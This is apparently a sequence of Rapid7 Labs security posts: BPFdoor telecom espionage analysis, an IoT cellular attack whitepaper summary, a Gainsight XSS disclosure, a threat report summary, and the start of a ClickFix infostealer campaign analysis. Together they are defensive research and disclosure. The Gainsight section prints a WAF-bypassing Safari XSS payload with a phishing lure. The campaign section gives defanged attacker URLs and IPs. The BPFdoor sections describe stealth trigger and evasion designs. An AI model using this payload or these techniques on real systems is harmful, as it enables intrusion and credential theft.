Once initial access is secured, the operators frequently deploy Linux-compatible beacon frameworks such as CrossC2. This Cobalt Strike-derived loader enables beacon functionality on Linux hosts and has been repeatedly observed in PRC-aligned intrusion campaigns. It provides the same post-exploitation capabilities traditionally seen in Windows environments, command execution, pivoting, staging, but tailored for Linux-heavy telecom infrastructure. CrossC2 allows operators to blend into server environments that form the backbone of telecom operations, particularly edge devices and core routing systems. Just as with the Cross C2 configuration, investing reveals the C2 server. For example:
Figure 3: CrossC2 configuration
⠀
TinyShell
For long-term persistence, actors often rely on TinyShell, an open-source passive backdoor framework repurposed and customized by multiple APT groups. TinyShell is frequently observed on boundary devices such as firewalls, VPN appliances, and virtualization hosts. Compiled for Linux and FreeBSD, it is designed with stealth in mind: minimal network footprint, passive communication model, and reliable remote command execution capabilities.
Keyloggers and bruteforcers
After foothold establishment, attackers focus on persistence and lateral movement. Tooling such as Sliver, CrossC2, and TinyShell are complemented by SSH brute forcers and custom ELF-based keyloggers. In some cases, operators deploy brute-force utilities containing pre-populated credential lists tailored for telecom environments, even including specific usernames like “imsi,” referencing subscriber identity systems. This level of contextual awareness indicates reconnaissance and targeting aligned with telecom operational terminology. The goal is clear: move laterally, harvest credentials, and reach control-plane systems where subscriber data and signaling infrastructure reside.
BPFdoor
BPFdoor first came to broader public attention around 2021, when researchers uncovered a stealthy Linux backdoor used in long-running espionage campaigns targeting telecommunications and government networks. The BPFDoor source code reportedly leaked online in 2022, making the previously specialized Linux backdoor more accessible to other threat actors. Normally, BPF is used by tools like tcpdump or libpcap to capture specific network traffic, such as filtering for TCP port 443. It operates partly in kernel space, meaning it processes packets before they reach user-space applications.
BPFdoor abuses this capability. Rather than binding to a visible listening port, the implant installs a custom BPF filter inside the kernel that inspects incoming packets for a specific pattern, a predefined sequence of bytes often referred to as a “magic packet” or “magic byte.” If the pattern does not match, nothing happens. The traffic continues as normal. No open port or obvious process-accepting connections. But when the correct sequence is delivered to the correct destination port, the behavior changes instantly.
Figure 4: Overview of BPF and how early BPFdoor variants are operating
⠀
Imagine retrieving a parcel from a secure pickup locker. The locker sits quietly in public view, no alarms, no obvious signs of activity. It only opens when the correct code is entered.
BPFdoor behaves the same way.
The implant remains dormant inside the Linux kernel, passively inspecting network traffic. It does not advertise itself. It does not respond to scans. But when an operator sends the correct “code”, the specific magic byte sequence embedded in a crafted packet, the BPF filter recognizes the pattern and triggers the next stage.
Instead of opening a physical door, it spawns a bind shell or reverse shell. Importantly, this activation can occur without a traditional listening service ever being visible in netstat or ss. To a defender, the system appears clean; there is no persistent open port to detect.
Before we showcase this, something important to note is that BPFdoor operations consist of two distinct components: the implant and the controller.
The implant is the passive backdoor deployed on the compromised Linux system, where it installs a malicious BPF filter and silently inspects incoming traffic for a predefined “magic” packet. It does not continuously beacon or expose a listening port, making it extremely stealthy.
The controller, on the other hand, is operated by the attacker and is responsible for crafting and sending the specially formatted packets that activate the backdoor and establish a remote shell. While it can be run from attacker-controlled infrastructure such as compromised routers or external systems, the controller is also designed to operate within the victim’s environment itself. In this mode it can masquerade as legitimate system processes and trigger additional implants across internal hosts by sending activation packets or by opening a local listener to receive shell connections, effectively enabling controlled lateral movement between compromised systems. In essence, the implant acts as the hidden lock embedded within the system, while the controller functions as the key that can activate it. A deeper technical analysis of the controller architecture and its role in lateral movement will be covered in a forthcoming technical blog.
To demonstrate how these first backdoors work, we created the video below, in which we are running a BPFdoor made visible. Next, we send the magic packet and instructions to the IP address and port we are listening on. Then the BPFdoor opens up the “safe” and creates the tunnel. In the final part of the demo, we see that on our Netcat listener, we have a remote shell and can query the system.
⠀
Next, we will highlight how we started to hunt for BPFdoor.
Hunting for BPFdoor variants
Since we were aware of several BPFdoor attacks and samples circulating, we started hunting for more samples and developed internal tools to extract, compare, and detect early indicators of new features. One threat hunting angle Rapid7 Labs really loves to focus on is code similarity of samples. Code similarity of malware samples can result in clusters of samples with similar activity, but most importantly, also demonstrate outliers that are potential candidates for research since they do not share commodity with the other samples.
The BPFdoor samples we collected and hunted for are all Executable and Linkable Format (ELF) files, but we are aware of samples compiled for running on Solaris. ELF is the standard binary file format for executables, object code, shared libraries, and core dumps on Linux and Unix-like operating systems.For the ELF files, we wrote a custom tool for clustering ELF/BPFdoor. By extracting .text section byte code blocks, generating MinHash signatures, and completing a few other steps, it will then compute exact Jaccard similarity and export the resulting similarity graph for visual cluster analysis.
Figure 5: Code Similarity clustering of BPFdoor samples
⠀
In our visualization, we clearly observe certain clusters of BPFdoor, but also outliers and smaller clusters that were up for investigation. The thicker the line, the more similar the code is to the samples it is attached to. By creating a feature comparison/extraction tool, we started to discover interesting features in the samples, which led us to a new controller discovery and security bypass feature. For example, we discovered a variant we dubbed “F” that uses a 26 BPF instruction filter with new magic packets.
Although it was previously reported that some samples support the Stream Control Transmission Protocol (SCTP), there is a tendency to read over it and not put it into the right context of what the consequences are. SCTP is not typical enterprise traffic; it underpins Public Switch Telephone Network (PSTN) signaling and real-time communication between core 4G and 5G network elements. By configuring BPF filters to inspect SCTP traffic directly, operators are no longer just maintaining server access, they are embedding themselves into the signaling plane of the telecom network. This is a fundamentally different level of positioning. Instead of sitting at the IT perimeter, the implant resides adjacent to the mechanisms that route calls, authenticate devices, and manage subscriber mobility.
Figure 6: Example of SCTP route extracted from the BPF code
⠀
Access to SCTP traffic opens powerful intelligence collection opportunities. In legacy and transitional environments, improperly secured signaling can expose SMS message contents, IMSI identifiers, and source/destination metadata. By observing or manipulating traffic over SCTP commands such as ProvideSubscriberLocation or UpdateLocation, an adversary can track a device’s real-world movement. In 5G environments, traffic over SCTP carries registration requests and Subscription Concealed Identifiers (SUCI), allowing identity probing at scale. At this point, the compromise is no longer about server persistence; it becomes population-level visibility into subscriber behavior and location. Translated, you could track individuals of interest.
Interesting observations
The bare-metal to telecom equipment link
During the code investigations, we discovered that some BPFdoor samples are using code to mimic the bare-metal infrastructure, particularly enterprise-grade hardware platforms commonly deployed in telecom environments. By masquerading as legitimate system services that run only on bare metal, the implant blends into operational noise. This is especially relevant in environments leveraging HPE ProLiant and similar high-performance compute systems used for 5G core and edge deployments.
Figure 7: Example of code mimicking HP Proliant servers
⠀
In the above screenshot of one of the BPFdoor samples, we observed the processname “hpasmlited”.
By mimicking legitimate service names and process behavior of HPE ProLiant servers, attackers ensure the implant appears native to the hardware environment, a tactic that significantly complicates detection. Several of these service names have been observed in BPFdoor samples, but this name stood out. The hpasmlited.pid creates process threads, and mimics daemon-style behavior consistent with hardware monitoring services. The real hpasmlited process belongs to HPE’s Agentless Management Service, which runs on bare-metal ProLiant servers to expose hardware telemetry and system health data.
By adopting this name and writing a corresponding PID file, the malware blends into expected operational noise on telecom-grade ProLiant infrastructure. Of course this is not accidental naming, it demonstrates environment awareness and targeting intent. The operators appear to know they are running on physical HPE hardware commonly deployed in 4G/5G core and edge systems. By impersonating a trusted hardware management daemon that administrators expect to see, the implant reduces suspicion during forensic review while embedding itself directly into the physical backbone layer of telecom infrastructure. This tactic reflects a broader strategy: hide not just in Linux, but in the hardware identity of the telecom environment itself.
Mimicking containers
A second strategy involves spoofing core containerization components. Critical 5G core components such as the Access and Mobility Management Function (AMF), Session Management Function (SMF), and User Data Management (UDM) run as cloud native network functions inside Kubernetes pods. The following code excerpt demonstrates that the implant is aware of it.
Figure 8: Code showing the mimicking of container/docker service
⠀
Docker Daemon (/usr/bin/dockerd) and containerd: The malware is executed with root privileges and adopts the exact command-line arguments of a legitimate Docker daemon (e.g., -H fd:// --containerd=/run/containerd/containerd.sock).
Recap for a moment
Up to this point, what we’ve described in our technical analysis has, more or less, been publicly available information; however, these pieces have not been assembled in a way that provides the context Rapid7 Labs has discovered through its in-depth investigation. Therefore, before we deep dive into some of the new technical findings that completes the picture of what is truly happening here, let’s pause for a moment to sync up on what we’ve just described.
So far, our findings illustrate that BPFdoor is far more than a stealthy Linux backdoor. The kernel-level packet filtering, passive activation through magic packets, masquerading as legitimate hardware management services, awareness of container runtimes, and the ability to monitor telecom-native protocols such as SCTP, point to a tool designed for deep infrastructure positioning. Rather than targeting individual servers, the operators appear to focus on the underlying platforms that power modern telecommunications networks: bare-metal systems running telecom workloads, cloud-native Kubernetes environments hosting Containerized Network Functions, and the signaling protocols that coordinate subscriber identity, mobility, and communication flows. In this context, BPFdoor functions as an access layer embedded within the telecom backbone, providing long-term, low-noise visibility into critical network operations.
What Rapid7 found in newer BPFdoor variants
The following sections provide a high-level overview of several newly observed capabilities and behavioral patterns in recent BPFdoor samples. While these findings highlight important technical developments, this blog intentionally focuses on the architectural implications and operational context rather than a full reverse-engineering deep dive. Detailed technical analyses, including code-level breakdowns, will be published in upcoming research posts.
During our investigation, we identified a previously undocumented variant of BPFdoor that introduces several architectural changes designed to improve stealth and survivability in modern enterprise and telecom environments. We will highlight these features and illustrate how the malware continues to evolve beyond the earlier “magic packet” activation model.
Network-level invisibility: The BPF trapdoor
As we described before, the early BPFdoor installed a Berkeley Packet Filter inside the Linux kernel that inspected incoming network traffic. When a specially crafted “magic packet” containing a predefined byte sequence arrived at the correct port, the backdoor would activate and spawn a shell. Because the system never actually opened a port, tools such as netstat, ss, or nmap saw nothing unusual.
The newly observed variant evolves this concept. Instead of relying on a simple magic packet that could potentially be detected by intrusion detection signatures, the trigger is now embedded within seemingly legitimate HTTPS traffic. The attacker sends a carefully crafted request that travels through standard network infrastructure such as reverse proxies, load balancers, or web application firewalls. Once the traffic reaches the compromised host and is decrypted as part of normal SSL termination, the hidden command sequence can be extracted and used to activate the backdoor. In essence, in our previously mentioned analogy explaining the magic packet mechanism, the safe still requires a code, but now the code is concealed inside normal, encrypted web traffic, allowing it to pass through modern security controls before unlocking the trapdoor.
Figure 9: Overview of how the new sample communicates
Layer 7 camouflage and the “magic ruler”
To remain reliable across proxy layers, the attackers introduced a clever parsing mechanism. HTTP proxies often modify headers by inserting additional fields such as client IP addresses, timestamps, or routing metadata. These changes can shift the position of data within the request and break traditional signature-based triggers. To solve this problem, the attackers designed a mathematical padding scheme that ensures a specific marker, in the observed samples the string “9999”, always appears at a fixed byte offset within the request.
This is where the 26-byte or 40-byte “magic ruler” comes into play. Rather than parsing the entire HTTP header, which can vary depending on proxy behavior, the malware treats the request body as a predictable coordinate space. By carefully padding the HTTP request with filler bytes, the attacker ensures that the marker always lands exactly at the 26th byte offset of the inspected data structure. The implant simply checks this fixed position; if the marker appears at that byte location, it interprets the surrounding data as the activation command.
Because the header itself can fluctuate while the padded payload remains predictable, the malware does not need to understand or parse the full HTTP structure. Instead, it relies on this fixed “measurement point”, effectively using the 26-byte offset as a ruler inside the packet. This technique allows the trigger to survive proxy rewriting and header injection while still remaining hidden inside otherwise normal HTTPS traffic. The 26-byte rule is used in case of a socket creation with the “SOCK_DGRAM” flags, but in case of a “SOCK_RAW” flag, it will use a 40-byte ruler.
In practice, this turns the messy, variable HTTP protocol into something the malware can treat like a fixed coordinate system, enabling what could be described as dynamic Layer-7 camouflage, a surprisingly simple but effective technique for hiding command triggers inside legitimate encrypted web traffic.
The RC4-MD5 paradox
Another interesting feature of the new controller is its continued use of the legacy RC4-MD5 encryption routine. While this combination is considered deprecated in modern cryptographic standards, it still appears in several malware samples. In this case, the RC4-MD5 implementation is not part of TLS, but rather a lightweight encryption layer applied to the interactive command-and-control channel after the backdoor is activated. RC4 provides extremely fast stream encryption suitable for interactive shells, introducing minimal latency during command execution. In addition, the use of older or non-standard encryption routines can sometimes confuse inspection systems, particularly when traffic does not follow typical protocol expectations. Finally, reuse of older cryptographic modules often reflects code lineage and operational efficiency, adversaries frequently recycle proven components across campaigns. In this case, code comparison revealed similarities with routines that have circulated in Chinese-nexus malware families such as RedXOR and PWNIX for several years.
ICMP control channel: “phone home”
While earlier BPFdoor variants focused primarily on covert activation, the new sample also introduces a lightweight communication mechanism built around Internet Control Message Protocol (ICMP). The code excerpt shows the malware preparing an ICMP payload and inserting a specific value “0xFFFFFFFF” into a field before transmitting the packet using a dedicated routine (send_ICMP_data). At first glance this appears trivial, but the logic reveals something more interesting: The ICMP packet is not just a signal back to the operator, it is also used as a control mechanism between compromised systems.
Figure 10: ICMP Tunneling
⠀
In this model, ICMP functions as a minimal command channel between infected hosts. One compromised server can forward specially crafted ICMP packets to another, effectively passing along execution instructions without requiring traditional command-and-control traffic. The key marker in this mechanism is the value 0xFFFFFFFF (signed as -1), which acts as a destination signal embedded inside the packet structure. When a receiving host detects this value, it interprets the packet as a terminal instruction rather than something to be forwarded further.
In practical terms, Server A is telling Server B: “You are the final destination.” Instead of relaying the signal onward, the receiving system executes the next stage, typically triggering the reverse shell or command handler. This simple signaling mechanism allows the operators to control how far a command propagates through compromised infrastructure without introducing additional protocol complexity.
What makes this mechanism notable is its simplicity. Rather than expanding the structure of the activation packet or introducing additional fields, the attackers reuse an existing value within the packet structure to signal the end of the chain. By setting this field to 0xFFFFFFFF, they effectively create a “do not forward” flag inside their communication channel. This allows them to manage hop behavior across compromised nodes while keeping the packet format compact and consistent.
Key takeaways
Taken together, the newly observed capabilities demonstrate how BPFdoor has evolved beyond a stealth backdoor into a layered access framework. The updated variant combines encrypted HTTPS triggers, proxy-aware command delivery, application-layer camouflage techniques, ICMP-based control signals, and kernel-level packet filtering to bypass multiple layers of modern network defenses. Each technique targets a different security boundary, from TLS inspection at the edge, to IDS detection in transit, and endpoint monitoring on the host, illustrating a deliberate effort to operate across the full defensive stack.
Kernel-level backdoors are redefining stealth. Tools like BPFdoor operate below traditional visibility layers, abusing Berkeley Packet Filter mechanisms to create network listeners that do not expose ports, processes, or conventional command-and-control indicators.
Telecommunications infrastructure is a prime espionage target. Modern 4G and 5G networks rely on complex stacks of signaling systems, Containerized Network Functions, and high-performance infrastructure. Access to these environments can enable long-term intelligence collection, subscriber monitoring, and deep visibility into national communications infrastructure.
Security controls can be turned into delivery mechanisms. In the latest BPFdoor variant, attackers weaponize normal security workflows. Traffic that passes through TLS termination and deep packet inspection can deliver malicious commands once it reaches the decrypted internal zone.
BPF-based implants are likely the beginning of a larger trend. BPFdoor and new eBPF malware families like Symbiote demonstrate how kernel packet filtering can be abused for stealth persistence. As defenders improve visibility at higher layers, adversaries are increasingly shifting implants deeper into the operating system.
How defenders can detect BPFdoor activity
Detecting these threats requires shifting visibility deeper into the operating system and network stack, focusing on indicators such as unusual raw socket usage, anomalous packet filtering behavior, and unexpected service masquerading on critical infrastructure hosts.
To support defenders in identifying potential BPFdoor activity, we developed a scanning script designed to detect both previously documented variants and the newer samples discussed in this research. The script focuses on identifying indicators associated with the stealth activation mechanism, kernel-level packet filtering behavior, and process masquerading techniques used by BPFdoor implants. By combining checks for known artifacts and behavioral patterns, the scanner helps security teams quickly assess whether systems may be impacted.
We are making this tool available to the community to assist organizations in proactively identifying potential compromises. The scanner can be used across Linux environments to search for artifacts linked to BPFdoor activity, including indicators observed in both historical samples and the latest variant analyzed during this research. Our goal is to help defenders rapidly validate exposure and begin incident response investigations where necessary.
In the video below, Rapid7 Labs demonstrates how our detection script would be run within the system of an infected victim organization. The video starts with the right window, showing that the BPFdoor backdoor is running and the particular services that relate are highlighted. Then, in the bottom left screen, the BPFdoor is activated by sending the right packet sequence and password, whereby a remote control shell is established. The attacker is running some commands on the victim machine and shows it can execute remote commands. Finally, in the top window, we run our developed detection script that will show the detected processes, and the alerts are showcased.
⠀
⠀
Indicators of compromise (IOCs)
The IOCs we discovered during our investigation surrounding the new controller, as well as samples and other relevant data, can be found on our Rapid7 Labs Github page.
Rapid7 has released a whitepaper titled “The Weaponization of Cellular Based IoT Technology,” by Deral Heiland, principal security researcher, IoT, at Rapid7, and Carlota Bindner, lead product security researcher at Thermo Fisher Scientific. The paper examines how attackers with physical access can exploit cellular modules in Internet of Things (IoT) devices to move into cloud and backend environments, exfiltrate data, and conceal command channels within expected device traffic. Heiland presented their findings at the RSAC 2026 conference in San Francisco.
The research focuses on how these attacks work in practice. It details how interchip communications such as USB and universal asynchronous receiver-transmitter (UART) can be observed and manipulated. It also shows how hardware modifications can replace a device host, allowing an external system to assume control of the cellular module. The authors developed proof-of-concept tools, including a TCP port scanner using AT commands, an S3 bucket enumerator, a SOCKS5 proxy that routes traffic through the cellular module, and a Metasploit proxy module. These examples demonstrate how attackers can take advantage of trusted relationships between devices and connected services.
The findings highlight consistent risks across tested devices. Cellular modules often expose multiple interfaces, and unused UART or USB paths can provide direct access. With targeted printed circuit board modifications, an attacker can reroute traffic through the cellular interface. Many modules accept AT commands that support raw sockets, HTTP requests, and TCP tunnels, which can enable reconnaissance and lateral movement. All cellular devices the researchers examined lacked tamper protections and most did not encrypt sensitive data before transmission, increasing exposure in environments that use private access point names (APNs).
Organizations should treat cellular-enabled devices as privileged entry points into their networks as well as their critical data storage and management environments. This includes disabling or removing unused interchip interfaces, enforcing end-to-end encryption before data is transmitted through the cellular modules, and applying monitoring and outbound controls within APN architectures. Hardware-level security testing should be part of standard product security practices.To read the whitepaper, click here.
Rapid7 Labs recently identified a chain of security vulnerabilities in the Gainsight Assist plugin and its interactions with the associated domain app.gainsight.com. These vulnerabilities include an Information Disclosure flaw (CVE-2026-31381) and a Reflected Cross-Site Scripting (XSS) vulnerability (CVE-2026-31382). By chaining these vulnerabilities, an attacker can move from passive information gathering to active client-side exploitation.
The XSS vulnerability was remediated by Gainsight via a server side code-level fix on March 6, 2026. A patched update to the Chrome and Outlook plugins to remediate the Information Disclosure were released on March 9, 2026.
Product description
Gainsight Assist is a plugin that allows users to access Gainsight email templates and easily sync inbound and outbound emails to the Timeline within the Gainsight Customer Success (CS) product directly from their email platform.
Credit
These vulnerabilities were discovered and reported to the Gainsight team by Christopher O’Boyle, Cybersecurity Advisor at Rapid7. The vulnerabilities are being disclosed in accordance with Rapid7's vulnerability disclosure policy. Rapid7 is grateful to the Gainsight team for their assistance and collaboration.
Information Disclosure: An attacker can extract user email addresses (PII) exposed in base64 encoding via the state parameter in the OAuth callback URL.
Reflected XSS / HTML Injection: The error_description parameter is vulnerable to Reflected XSS. An attacker can bypass the domain's WAF using a Safari-specific onpagereveal payload.
The testing target was the Gainsight Assist plugin and its interactions with the app.gainsight.com domain, used as a callback mechanism that processes authentication data and error descriptions following user login attempts.
CVE-2026-31381: Information disclosure
During testing involving Salesforce and Okta authentication channels, an OAuth callback flow failure was observed. The resulting error message exposed the user's email address (PII) within a Base64 encoded state parameter in the URL. Because Base64 is merely obfuscation and not encryption, these email addresses can be easily harvested from server logs, proxies, or browser history by third parties.
CVE-2026-31382: Reflected XSS and HTML injection
The Gainsight callback URL contained an error_description parameter that was found to be vulnerable to content spoofing and HTML Injection. While Gainsight employs a Web Application Firewall (WAF) that successfully blocks most standard JavaScript execution, Rapid7 researchers bypassed this protection using a browser-specific payload targeting Safari’s onpagereveal event.
When the victim opens the malicious URL in Safari, the onpagereveal payload executes automatically without further user interaction. By injecting HTML content and spoofing the error page, an attacker can create a legitimate-looking prompt instructing the user to switch to a Safari browser to ensure the payload fires.
<body onpagereveal=open("https://www.rapid7.com")>
We have detected a browser compatibility issue for
this step, this can only be completed on Safari <br><br>
Please copy the URL from the address bar above and
paste it in a Safari browser...
Figure 1: Example of the injected HTML payload instructing the user to utilize Safari.
Chaining for Impact
When combined, these vulnerabilities create a high-impact attack path:
Target identification:The login error page includes the user’s attempted login email address in a Base64-encoded state parameter in the URL. Anyone with visibility into that URL (e.g., via the browser address bar, existing access to internal logs, or XSS on that page) can decode the state value to recover the email address. The vulnerability pertains to the data included in the URL rather than granting access to logs or history.
Luring the victim: Using HTML injection on the trusted app.gainsight.com domain, the attacker crafts a highly convincing phishing link to send to the targeted user.
XSS execution: Once the victim opens the link in Safari, the onpagereveal payload executes. Because the payload can recursively call the exact same URL, it can cause an infinite loop leading to client-side resource exhaustion, log flooding, or the delivery of malware.
Vendor statement
"Gainsight values the work of the security research community and appreciates Rapid7's collaboration. We have fully remediated the identified vulnerabilities through a platform-wide update that strengthens our input validation and WAF configurations. Our forensic investigation found no evidence of exploitation or impact to customer data. We continue to prioritize transparency and supporting our customers to build a more resilient and secure community together. "
Mitigation guidance
As of March 6, 2026, Gainsight has implemented a code-level fix to remediate these findings. Customers should ensure they are utilizing the latest version of the Gainsight Assist plugin.
Disclosure timeline
January 30, 2026: Rapid7 makes initial outreach to Gainsight.
February 1, 2026: Gainsight confirms outreach and requests details. Rapid7 provides vulnerability details.
February 11, 2026: Gainsight confirms receipt, states that the vulnerability has been reproduced, and acknowledges that triage has begun.
March 5, 2026: Gainsight and Rapid7 meet to discuss agreed impact, remediation, and next steps.
March 6, 2026: Gainsight implements a server-side, code-level fix to remediate the XSS issue.
March 9, 2026: Gainsight implements an update to the Chrome and Outlook plugins for the information disclosure vulnerability.
March 12, 2026: Gainsight requests disclosure date of March 20, 2026.
March 13, 2026: Rapid7 accepts the disclosure date of March 20, 2026.
In 2025, high-impact vulnerabilities weren’t quietly accumulating risk. They were operationalized, and often within days.
Today, Rapid7 Labs released the 2026 Global Threat Landscape Report, an in-depth analysis of how attacker behavior is evolving across vulnerability exploitation, ransomware operations, identity abuse, and AI-driven tradecraft. The data shows a clear pattern: exposure is being identified and weaponized faster than most organizations are set up to defend.
From disclosure to exploitation in days, not weeks
In 2025, confirmed exploitation of newly disclosed CVSS 7–10 vulnerabilities increased 105% year over year, rising from 71 to 146. The median time from publication to inclusion in CISA’s Known Exploited Vulnerabilities list fell from 8.5 days to 5.0 days.
At the same time, the number of high-probability vulnerabilities that remained unexploited dropped sharply. The buffer that once allowed teams to triage and schedule remediation is shrinking to the point where some severe flaws were seen to have been exploited almost immediately.
The broader trend is unmistakable: vulnerability management programs built around reactive remediation cycles are struggling to keep pace with adversaries operating at machine speed.
Cybercrime as a structured market
Cybercrime in 2025 no longer resembles chaotic hacking. It resembles platform capitalism.
The report highlights how the underground economy now mirrors legitimate SaaS ecosystems. Initial Access Brokers obtain and validate network footholds. Ransomware operators focus on encryption and extortion. Infostealer operators sell subscription-style access to fresh credential logs.
This specialization lowers barriers to entry and increases scale creating a supply chain in which access is acquired, packaged, priced, and sold to anyone who wants it.
Ransomware is a good example of this business maturity. It was present in 42% of Rapid7 MDR investigations in 2025 with leak posts increasing 46.4% year over year, and the number of active groups growing from 102 to 140. That kind of growth is anything but random or coincidental: it is an indication of systemic changes to the ransomware ecosystem indicating growing sophistication, specialization, and, ultimately, risk.
Logging in, not breaking in
Authentication-based attacks remain incredibly common as the lack of consistency across organizations can lead to easy exploitation. Valid accounts without multi-factor authentication (MFA) were responsible for 43.9% of incidents over that year. Rather than forcing their way past defenses, attackers increasingly authenticate with stolen credentials, hijacked sessions, or abused tokens. This is where the increase in AI-driven attacks is particularly acute with the benefits generative AI can play in improving the maturity and sophistication of social engineering attacks.
As enterprises extend trust across cloud platforms, SaaS ecosystems, APIs, and remote work environments, authentication systems have become the backbone of operational control. This represents a structural shift with the control layer of cyber risk moving away from network perimeters toward authentication flows.
Attacks are using reliable vectors, just at alarming speeds
One hallmark of the attack landscape in 2025 was the use of tried and true attack vectors rather than novel exploits and zero-day vulnerabilities. CVE disclosures continued to climb last year, but confirmed exploitation clustered around dependable weakness types like deserialization, authentication bypass, and memory corruption vulnerabilities.
Attackers are targeting flaws that enable pre-authentication access, repeatable execution, and rapid data theft. They are not, necessarily, chasing every vulnerability. Just the ones they deem reliable. This pattern reinforces a key theme of the report: exploitability and context matter more than raw volume.
AI as an accelerant
AI is serving as a force multiplier and an expanding attack surface at the same time.
Generative AI is accelerating established attack methods by reducing the time, skill, and coordination previously required to execute them at scale. Rather than introducing entirely new categories of exploitation, threat actors are integrating AI into existing workflows to industrialize phishing, automate reconnaissance, and refine malicious scripts with greater speed and precision.
AI-assisted phishing campaigns were more polished and tailored to specific industries or executive roles, reflecting a measurable improvement in personalization and believability. They accelerated open-source intelligence collection to create details from fragmented data. AI was used to troubleshoot malware development in near real time, effectively compressing the cycle between initial research and malware deployment. The result is not radical technical innovation, but efficiency, speed, and fewer missed opportunities.
Meanwhile, AI platforms themselves are emerging as targets with model servers, orchestration frameworks, and token-based integrations, inheriting familiar weaknesses such as unsafe deserialization and weak authentication. As organizations operationalize AI quickly, governance gaps create new high-impact pathways to risk.
The geography of attacks
When it comes to targeted regions, no area of the globe represents a better convergence of exposure and financial opportunity than North America. Organizations on this continent accounted for 82.04% of observed incidents, with the United States representing roughly 70% of leak posts on ransomware leak sites. Manufacturing, business services, and retail were among the most targeted industries as these sectors often combine operational dependence, sensitive data, and financial leverage making them fat targets for attackers looking for reliability not only in their attack vectors, but in gains available from their chosen targets.
Across criminal and state-aligned activity, attackers are converging on identity systems, edge infrastructure, collaboration platforms, and cloud control planes where trust, scale, and business continuity intersect.
What this means for security leaders
There is a sobering reality in this year’s data: the underlying weaknesses remain familiar. Weak credentials. Social engineering. Exposed services. Unpatched edge infrastructure.
What has changed is the speed.
Security programs can no longer rely on moving slightly faster than attackers. The model must shift toward reducing exposure before it is operationalized.
That means:
Continuous exposure visibility with contextual prioritization
Strong MFA enforcement and hardened identity controls
Protected and monitored edge infrastructure
Governance around AI systems and integrations
AI-enabled security workflows capable of matching attacker velocity
The organizations that maintain clear, continuous insight into their exposure - and reduce it before it is monetized - will be best positioned to manage risk in this accelerated cycle.
The question is no longer whether exposure exists. It is whether you can reduce it before attackers capitalize on it.
Rapid7 Labs has identified and analyzed an ongoing, widespread compromise of legitimate, potentially highly trusted WordPress websites, misused by an unidentified threat actor to inject a ClickFix implant impersonating a Cloudflare human verification challenge (CAPTCHA). The lure is designed to infect visitors with a multi-stage malware chain that ultimately steals and exfiltrates credentials and digital wallets from Windows systems. The stolen credentials can subsequently be used for financial theft or to conduct further, more targeted attacks against organizations.
The campaign we have analyzed has been active in this exact form since December 2025, although some of the infrastructure (e.g., domain names) date back to July/August 2025. At time of publication, we have identified more than 250 distinct infected websites spanning at least 12 countries: Australia, Brazil, Canada, Czechia, Germany, India, Israel, Singapore, Slovakia, Switzerland, the UK, and the US.
The infected websites include regional news outlets, local business websites, and in one case even a United States Senate candidate’s official webpage (we have notified US authorities about this finding, so that they can confirm the compromise has been remediated). This legitimacy, together with the convincing appearance of the fake Cloudflare CAPTCHA lure, makes this threat dangerous for organizations and individuals alike. It also highlights the importance of staying vigilant online at all times, not only when browsing untrustworthy sites. While the threat actor doesn’t employ particular stealth at the present time, the malware chain is executed almost entirely in memory and in the context of inconspicuous Windows processes, making traditional file-based detection ineffective.
In this blog, we provide an in-depth technical analysis of the complete infection chain, from the first compromised website load, through obfuscated JavaScript, several PowerShell stagers and in-memory shellcode loaders, to several final infostealer payloads observed within the last month: An evolved variant of Vidar stealer, an unnamed .NET stealer we are calling Impure Stealer, and a new C++ stealer, which we believe to be specific to this campaign, and which has been dubbed VodkaStealer. Furthermore, we publish an extensive list of IoCs and YARA detection rules, as well as various resources for unpacking the loader shellcode and algorithms to decrypt stealer configurations, so that defenders can stay ahead of this threat.
Besides the IoCs and detection rules published here, customers with access to Rapid7’s Intelligence Hub will continue to receive the newest intelligence regarding this campaign, as well as individual infostealer families, including (but not limited to) Vidar and Impure Stealer.⠀
Figure 1: Overview of the attack chain
First sight: Tracing the infection chain
Our investigation started following an incident handled by Rapid7’s MDR team on January 23rd, 2026. The initial alert indicated the following command being executed on the user’s machine.⠀
Rapid7 acquired the user browser history and observed that the user previously navigated to the url hxxps[://]phatapunjab[.]pk/new-pta-tax-for-used-iphone-15-series/ after doing a google search for a related query. At the time, Rapid7 analysts noted that the domain phatapunjab[.]pk was created only a month ago, and so this incident seemed like a classic case of a malicious website poisoning SEO to attract visitors and infect them with malware using ClickFix techniques.
We retrieved and analyzed the next-stage PowerShell script from 178.16.53[.]70. Its purpose was to download a shellcode blob (named cptch.bin) from yet another remote server, 94.154.35[.]115, and execute it utilizing the VirtualAlloc and CreateThread Windows APIs — a standard process injection technique designed to execute malware in memory without touching the disk. The shellcode unpacked a loader that would download yet another shellcode blob from the same server (this time named cptchbuild.bin) and execute it injected into a native svchost.exe process. The final payload embedded in the second shellcode blob turned out to be a Vidar stealer sample, which we'll discuss later in this blog.
Figure 2: PowerShell stager executing remote shellcode in memory
On February 3rd, an almost identical case was handled by Rapid7 in another customer’s environment. Just like in the previous case, a PowerShell command was executed and shellcode was downloaded from hxxp[://]94.154.35[.]115/user_profiles_photo/cptch.bin; however, this time, the final payload was different. Instead of Vidar, a .NET stealer was encrypted in the second shellcode blob.
This time, the MDR team identified the ClickFix infection source as website missionloans[.]com, which is a significantly more established domain name and seems to belong to a legitimate US company.
Figure 3: Fake Cloudflare CAPTCHA shown on missionloans[.]com
⠀
Around the same time, malware analyst @ShadowOpCode on X (fka Twitter) reported a similar case, where a Swiss website wepro[.]ch was compromised and followed the exact same Vidar chain we’ve described above, and on February 17th, X user @James_inthe_box shared intelligence on a similar infection in www[.]mrfpaint[.]com.
Figure 4: Fake Cloudflare CAPTCHA shown on www[.]mrfpaint[.]com in a sandbox environment
⠀
Noticing the similar pattern in all of these cases, which suggested the ClickFix infections originated from compromised legitimate websites, we wanted to research the mechanism behind the compromise and hunt for more compromised sites and the malicious scripts they load.
Technical analysis: Dissecting the infection mechanism
Because none of the previously reported websites presented the ClickFix payload anymore at the time of our analysis, we opted to hunt for compromised sites by pivoting from domains hosting the ClickFix implant, which all resolved to the same IP address (94.154.35[.]152). We queried related URLs and noticed that many of them included a query parameter hinting at a possible referrer, or a compromised website loading the malicious content.
